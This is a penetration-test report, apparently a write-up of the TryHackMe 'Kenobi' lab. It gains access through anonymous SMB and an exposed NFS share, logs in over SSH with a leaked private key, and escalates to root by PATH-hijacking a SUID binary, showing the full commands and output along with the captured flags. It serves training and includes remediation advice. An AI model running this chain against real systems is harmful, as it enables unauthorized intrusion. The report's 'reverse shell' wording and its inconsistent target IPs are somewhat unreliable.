

KENOBI

Note: This report details a penetration test conducted on a virtual system hosted on <https://tryhackme.com/>. This system was a lab designed to practice testing techniques, and is not a real-world system with PII, production data etc.

Target Information

Name	Kenobi
Tester	SK. MD. Rashid Assef Shibly
IP Address	10.49.130.90
Date	26 April 2026

Tools Used

- Operating System : Kali Linux
- OpenVPN : connect with Tryhackme
- Nmap : Service and version enumeration
- Mount : NFS share mounting
- Smbclient : SMB share enumeration

Executive Summary

This report presents the findings of a penetration test conducted against the Kenobi system in a controlled lab environment simulating a real-world scenario. The objective of this assessment was to evaluate the system's security posture and identify vulnerabilities that could be exploited by an attacker.

During the assessment, several security weaknesses were identified, including improperly secured SMB shares, lack of authentication on SMB services, insecure file access, and command execution vulnerabilities. Additionally, weaknesses in path handling and environment variable usage were observed, which contributed to privilege escalation.

Exploitation of these vulnerabilities enabled unauthorized access to the system and ultimately resulted in full compromise. This level of access would allow an attacker to execute arbitrary commands, access sensitive data, and potentially maintain persistent control over the environment.

In a real-world context, these vulnerabilities could lead to serious security impacts, including data breaches, service disruption, and full system compromise. It is strongly recommended to enforce proper authentication controls, restrict unnecessary services, implement strict input validation, and secure privilege management mechanisms to mitigate these risks.

Summary of Results

The Kenobi system was compromised by exploiting weaknesses in its SMB service. During enumeration, sensitive information such as usernames was discovered, and the SMB share was found to be accessible without authentication. This allowed unauthorized access and retrieval of critical files.

Further analysis revealed that alternative access methods, including mounting the SMB share locally, enabled deeper inspection of the exposed file system. This led to the discovery of an SSH private key within a temporary directory, which was then used to gain remote access to the system via SSH.

Privilege escalation was achieved by exploiting a misconfigured program running with elevated privileges. The application relied on the system's PATH environment variable when executing commands. By modifying the PATH variable and introducing a malicious executable, root-level access was obtained.

The system was fully compromised as a result of these combined vulnerabilities. The findings highlight issues related to information disclosure, insecure service configuration, improper privilege handling, and weak access control mechanisms.

Scope and Methodology

The testing followed a structured penetration testing methodology:

- Information Gathering
- Enumeration
- Exploitation
- Initial Access
- Privilege Escalation
- Post-Exploitation

Reconnaissance

Initial connectivity was verified:

- ICMP ping confirmed that the target machine was reachable.

Enumeration

A service scan was performed using **Nmap**:

```
nmap -sN -sV -O -T3 -p- 10.49.130.90
```

Discovered Services

Port	Service	Description
21	FTP	File Transfer Protocol
22	SSH	Remote Access Service
80	HTTP	Web Application
111	RPCBIND	Maps RPC services
139	SMB	Legacy Windows file
445	SMB	Modern Windows file
2049	NFS	Shares files between Linux/Unix systems
34783	NLOCKMGR	Manages file locks for NFS
40737	MOUNTD	Handles NFS mount requests
44557	MOUNTD	Same as above
59705	MOUNTD	Same as above

```
(kali㉿kali)-[~]
└─$ nmap -sN -sV -O -T3 -p- 10.48.153.135
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-01 01:38 -0400
Nmap scan report for 10.48.153.135
Host is up (0.039s latency).
Not shown: 65524 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          ProFTPD 1.3.5
22/tcp    open  ssh          OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http         Apache httpd 2.4.41 ((Ubuntu))
111/tcp   open  rpcbind      2-4 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 4
445/tcp   open  netbios-ssn  Samba smbd 4
2049/tcp  open  nfs          3-4 (RPC #100003)
34783/tcp open  nlockmgr     1-4 (RPC #100021)
40737/tcp open  mountd       1-3 (RPC #100005)
44557/tcp open  mountd       1-3 (RPC #100005)
59705/tcp open  mountd       1-3 (RPC #100005)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.98%E=4%D=5/1%OT=21%CT=1%CU=40263%PV=Y%DS=3%DC=I%G=Y%TM=69F43C6C
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)SEQ(
OS:SP=104%GCD=1%ISR=10E%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=107%GCD=1%ISR=107%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=107%GCD=1%ISR=108%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=FF%GCD=
OS:=1%ISR=106%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M4E8ST11NW7%O2=M4E8ST11NW7%O3=M4E8
OS:NNT11NW7%O4=M4E8ST11NW7%O5=M4E8ST11NW7%O6=M4E8ST11)WIN(W1=F4B3%W2=F4B3%W
OS:3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)ECN(R=Y%DF=Y%T=40%W=F507%O=M4E8NNSNW7%CC=
OS:Y%Q=)T1(R=Y%DF=Y%T=40%S=0%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=
OS:40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0
OS:%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z
OS:%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G
OS:%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 3 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 44.82 seconds
```

SMB Enumeration

- Smbclient -L //10.49.130.90 -N revealed all the existing Shares

```
(kali㉿kali)-[~]
└─$ smbclient -L //10.49.130.90 -N

Sharename      Type           Comment
-----
print$         Disk          Printer Drivers
anonymous      Disk
IPC$           IPC           IPC Service (kenobi server (Samba, Ubuntu))

Reconnecting with SMB1 for workgroup listing.
smbXcli_negprot_smb1_done: No compatible protocol selected by server.
Protocol negotiation to server 10.49.130.90 (for a protocol between LANMAN1 and NT1) failed: NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available
```

```
(kali@kali)-[~/Desktop/kenobi]
$ smbclient //10.49.130.90/anonymous
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> ls
.                               D          0   Wed Sep  4 06:49:09 2019
..                              D          0   Sat Aug  9 09:03:22 2025
log.txt                        N       12237  Wed Sep  4 06:49:09 2019

          9183416 blocks of size 1024. 2916924 blocks available
smb: \> get log.txt
getting file \log.txt of size 12237 as log.txt (78.1 KiloBytes/sec) (average 78
.1 KiloBytes/sec)
smb: \> quit
(kali@kali)-[~/Desktop/kenobi]
$ ls
log.txt
(kali@kali)-[~/Desktop/kenobi]
$
```

- Smbclient -L //10.49.130.90/anonymous. Anonymous access to SMB shares was confirmed, allowing retrieval of sensitive files.

Another service scan was performed using **Nmap**:

`nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.48.153.135`

```
(kali@kali)-[~/Desktop/kenobi]
$ nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.49.130.90
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-01 02:47 -0400
Nmap scan report for 10.49.130.90
Host is up (0.038s latency).
PORT      STATE SERVICE
111/tcp   open  rpcbind
| nfs-ls: Volume /var
|  access: Read Lookup NoModify NoExtend NoDelete NoExecute
|  PERMISSION  UID  GID  SIZE  TIME  FILENAME
|  ??????????  ?   ?   ?    ?   ..
|  rwxr-xr-x   0    0   4096  2019-09-04T08:53:24  backups
|  rwxr-xr-x   0    0   4096  2025-08-10T06:48:58  cache
|  rwxrwxrwx   0    0   4096  2019-09-04T08:43:56  crash
|  rwxrwsr-x   0   50   4096  2016-04-12T20:14:23  local
|  rwxrwxrwx   0    9   4096  2019-09-04T08:41:33  lock
|  rwxrwxr-x   0  108   4096  2026-05-01T06:19:49  log
|  rwxr-xr-x   0    0   4096  2025-08-09T13:38:21  snap
|  rwxr-xr-x   0    0   4096  2019-09-04T08:53:24  www
|
|  nfs-showmount:
|  _ /var *
|  nfs-statfs:
|  Filesystem 1K-blocks Used Available Use% Maxfilesize Maxlink
|  _ /var      9183416.0 5775900.0 2916920.0 67% 16.0T 32000
Nmap done: 1 IP address (1 host up) scanned in 1.70 seconds
```

It revealed Mountable Var folder

Directory and Folder Enumeration

Mounting was done using mount. A command was performed.

```
sudo mount -t nfs 10.49.130.90:/var /mnt/kenobi
```

```
(kali@kali) - [~/Desktop/kenobi]
$ showmount -e 10.49.130.90
Export list for 10.49.130.90:
/var *

(kali@kali) - [~/Desktop/kenobi]
$ sudo mount -t nfs 10.49.130.90:/var /mnt/kenobi

(kali@kali) - [~/Desktop/kenobi]
$ ls /mnt/kenobi
backups  crash  local  log  opt  snap  tmp
cache  lib  lock  mail  run  spool  www

(kali@kali) - [~/Desktop/kenobi]
$ ls /mnt/kenobi/log
alternatives.log  dmesg.0  landscape
alternatives.log.1  dmesg.1.gz  lastlog
apache2  dmesg.2.gz  private
apt  dmesg.3.gz  samba
auth.log  dmesg.4.gz  syslog
auth.log.1  dpkg.log  syslog.1
auth.log.2.gz  dpkg.log.1  syslog.2.gz
bootstrap.log  faillog  tallylog
btmpt  fsck  ubuntu-advantage-apt-hook.log
btmpt.1  installer  ubuntu-advantage.log
cloud-init.log  journal  ubuntu-advantage.log.1
cloud-init-output.log  kern.log  unattended-upgrades
dist-upgrade  kern.log.1  upgrade
dmesg  kern.log.2.gz  wtmp
```

In the kenobi/tmp folder there was a ssh key that was later used to log in using ssh.

Authentication Bypass

Using:

A discovered private SSH key was used to authenticate to the system.

```
(kali㉿kali)-[~]
└─$ cd /mnt/kenobi/
(kali㉿kali)-[/mnt/kenobi]
└─$ ls
backups  cache  crash  lib  local  lock  log  mail  opt  run  snap  spool  tmp
(kali㉿kali)-[/mnt/kenobi]
└─$ cd tmp
(kali㉿kali)-[/mnt/kenobi/tmp]
└─$ ls
cloud-init
id_rsa
systemd-private-50905883589a4bc78ae86c43e96a83a2-apache2.service-hwAhmf
systemd-private-50905883589a4bc78ae86c43e96a83a2-ModemManager.service-NBM2lh
systemd-private-50905883589a4bc78ae86c43e96a83a2-systemd-logind.service-eVZDkg
systemd-private-50905883589a4bc78ae86c43e96a83a2-systemd-resolved.service-JkojEh
systemd-private-50905883589a4bc78ae86c43e96a83a2-systemd-timesyncd.service-nkyTE
```

```
(kali㉿kali)-[~/Desktop/kenobi]
└─$ ssh -i id_rsa kenobi@10.49.130.90
The authenticity of host '10.49.130.90 (10.49.130.90)' can't be established.
ED25519 key fingerprint is: SHA256:nIxmKfIVGY241b80FeruJfPRP9kzD5ddiemuGM68ylU
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.49.130.90' (ED25519) to the list of known hosts
.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-139-generic x86_64)
```

```
kenobi@kenobi:~$ ls
share  user.txt
kenobi@kenobi:~$ cat user.txt
d0b0f3f53b6caa532a83915e19224899
kenobi@kenobi:~$
```

Successful authentication was achieved using ssh.

Exploitation

After authentication, a command was executed. That revealed an unexpected script **menu** running using root privilege.

Find / -perm -u=s -type f 2>/dev/null

```
kenobi
kenobi@kenobi:~$ find / -perm -u=s -type f 2>/dev/null
/snap/core20/2599/usr/bin/chfn
/snap/core20/2599/usr/bin/chsh
/snap/core20/2599/usr/bin/gpasswd
/snap/core20/2599/usr/bin/mount
/snap/core20/2599/usr/bin/newgrp
/snap/core20/2599/usr/bin/passwd
/snap/core20/2599/usr/bin/su
/snap/core20/2599/usr/bin/sudo
/snap/core20/2599/usr/bin/umount
/snap/core20/2599/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/2599/usr/lib/openssh/ssh-keysign
/sbin/mount.nfs
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmccrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/bin/menu
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/at
/usr/bin/newgrp
/bin/umount
/bin/fusermount
/bin/mount
/bin/su
kenobi@kenobi:~$
```

Observation

- Menu was running with root privilege.
- It wasn't executing the command, but rather searching through the PATH variable.
- PATH variable modification was enabled

Bypass Technique

A malicious curl binary was created in /tmp containing a reverse shell payload '!/bin/bash'. The first option was searching for curl and the PATH variable was modified with /tmp.

```
kenobi@kenobi:~$ ls /bin/sh
sh          sh.distrib
kenobi@kenobi:~$ ls /bin/sh/
ls: cannot access '/bin/sh/': Not a directory
kenobi@kenobi:~$ chmod 777 curl
kenobi@kenobi:~$ ls
curl  share  user.txt
kenobi@kenobi:~$ env
```

```
kenobi@kenobi:~$ pwd
/home/kenobi
kenobi@kenobi:~$ mv curl /tmp
kenobi@kenobi:~$ cd /tmp
kenobi@kenobi:/tmp$ ls
curl
snap-private-tmp
systemd-private-50905883589a4bc78ae86c43e96a83a2-apache2.service-w99trj
systemd-private-50905883589a4bc78ae86c43e96a83a2-ModemManager.service-SbGQMg
systemd-private-50905883589a4bc78ae86c43e96a83a2-systemd-logind.service-iVaPd
systemd-private-50905883589a4bc78ae86c43e96a83a2-systemd-resolved.service-NO8wOh
systemd-private-50905883589a4bc78ae86c43e96a83a2-systemd-timesyncd.service-yZk68
e
```

```
kenobi@kenobi:/tmp$ export PATH=/tmp:$PATH
```

Privilege Escalation

Privilege escalation was achieved via:

menu

1

Critical Finding

- By modifying the PATH variable to include a malicious binary in /tmp, the SUID application executed attacker-controlled code, resulting in root shell access.
- This resulted in **immediate root access**

```
kenobi@kenobi: /tmp$ menu
*****
1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
#
# 1-3 (RPC #100003)
#
# For host (if you know what OS is)
#
# whoami
root
#
# 10EXTI=2AC1=2X11=1X15=A15EQ1SP=1
#
# 10SP=107XACD=1X1SR=10XATI=2XCI=2X
#
# 111=1X15=A10PS101=M4E6ST11NW7
#
# ls
ls
#
# curl
curl
#
# snap-private-tmp
snap-private-tmp
systemd-private-50905883589a4bc78ae86c43e96a83a2-apache2.service-w99trj
systemd-private-50905883589a4bc78ae86c43e96a83a2-ModemManager.service-SbGQMg
systemd-private-50905883589a4bc78ae86c43e96a83a2-systemd-logind.service-iVaPdG
systemd-private-50905883589a4bc78ae86c43e96a83a2-systemd-resolved.service-N08wOh
systemd-private-50905883589a4bc78ae86c43e96a83a2-systemd-timesyncd.service-yZk68
e
# cd ../../../../
# ls
bin    home    lib64    opt    sbin    tmp      vmlinuz.old
boot  initrd.img  lost+found  proc  snap  usr
dev    initrd.img.old  media    root  srv   var
etc    lib          mnt      run   sys   vmlinuz
# cd root
# ls
root.txt  snap
# cat root.txt
177b3cd8562289f37382721c28381f02
# exit
kenobi@kenobi: /tmp$
```

Post-Exploitation

With root privileges, the filesystem was enumerated.

Sensitive Data Discovered

Location	File
Root Directory	root.txt

Findings and Impact

High-Risk Vulnerabilities

Vulnerability: **Sensitive Data Exposure**

Severity: **High**

Description:

Sensitive information, including valid authentication credentials, was exposed within publicly accessible application components such as smb shares. These files are accessible without authentication and can be easily discovered during basic enumeration.

Evidence:

- using smbclient can read smbshares
- No Password protection on SMB
- These credentials were successfully used to authenticate into the application

Impact:

An attacker can obtain valid login credentials without any authentication, allowing unauthorized access to restricted application functionality. This significantly reduces the effort required to compromise the system and may lead to further exploitation.

Remediation:

- Remove sensitive information from publicly accessible files
- Implement secure credential management practices

Vulnerability: **Insecure PATH Injection**

Severity: **Critical**

Description:

The SUID binary relies on the system PATH variable when executing external commands (e.g., curl). Since the PATH is user-controllable, it is vulnerable to PATH hijacking . Input restrictions are insufficient, enabling attackers to execute arbitrary system commands.

Evidence:

- Ability to input path export PATH=/tmp:\$PATH

Impact:

This vulnerability allows an attacker to input a new path and execute arbitrary commands on the server, leading to full system compromise. It enables unauthorized access to system files, execution of malicious payloads, and potential lateral movement.

Remediation:

- Remove or restrict path injection functionality from the application

Vulnerability: **Weak SUID**

Severity: **High**

Description:

A SUID-enabled binary (menu) executes commands with root privileges without using absolute paths, making it vulnerable to privilege escalation. . That can be exploited to gain privilege.

Evidence:

- menu is running with SUID privilege
- root shell was gained exploiting it

Impact:

Attackers can bypass implemented restrictions and gain unauthorized access to sensitive system resources. This increases the likelihood of exploitation and contributes to full system compromise.

Remediation:

- Provide SUID access to only important executables

Recommendations

To mitigate the identified issues:

- Remove sensitive data from publicly accessible smb shares files
- Implement proper input validation and command sanitization
- Disable mount command execution functionality
- Enforce strong authentication mechanisms
- Restrict Unknown applications run with sudo Priviledges
- Ensure SUID binaries do not execute external commands using relative paths. Use absolute paths (e.g., /usr/bin/curl)

Conclusion

The *Kenobi* system demonstrates multiple critical security flaws across different stages of the attack chain. The exploitation required minimal effort and resulted in full system compromise.

This highlights the importance of proper access controls, and system hardening in preventing real-world attacks.